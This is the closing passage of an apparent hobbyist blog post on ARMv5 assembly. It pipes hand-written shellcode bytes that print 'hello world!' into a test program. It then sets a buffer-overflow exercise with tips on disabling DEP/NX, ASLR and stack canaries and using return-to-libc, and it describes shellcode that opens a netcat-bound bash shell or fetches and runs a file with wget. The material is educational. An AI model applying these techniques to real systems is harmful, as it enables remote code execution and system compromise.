$ gcc -Wall -o ex ex.c

$ printf '\x04\x70\xa0\xe3\x01\x00\xa0\xe3\x0f\x10\xa0\xe1\x14\x10\x81\xe2\x0c\x20\xa0\xe3\x00\x00\x00\xef\x01\x70\xa0\xe3\x00\x00\xa0\xe3\x00\x00\x00\xef\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21' | ./ex

self-exec
hello world!

Exercise for the reader: Actually overflow the stack variable above and overwrite the return pointer before the self-exec part gets called to achieve a true buffer overflow attack. Tip: you may need to disable certain security features like DEP/NX-bit, ASLR and stack canaries. Also, always remember that return-to-libc is your friend!

As you can see above, this is just the extreme basics and real attackers are insane in what they can actually achieve without having to setup what I did above. Imagine having that program listening on a socket file descriptor instead of standard input and imagine sending it exec() based shell code which could make a system call out to netcat allowing it to listen on a new port as well as passing any of its socket data to a shell program like bash. Or maybe a system call out to wget and then an execution of the downloaded file as root possibly which could then result in bad things happening. Anyway…

I know this is all very noob’ish code but I plan to keep working on it,
Also thanks for reading my stuff!

Johnny Stoops

ARMv5 Assembly and a Simulated Buffer Overflow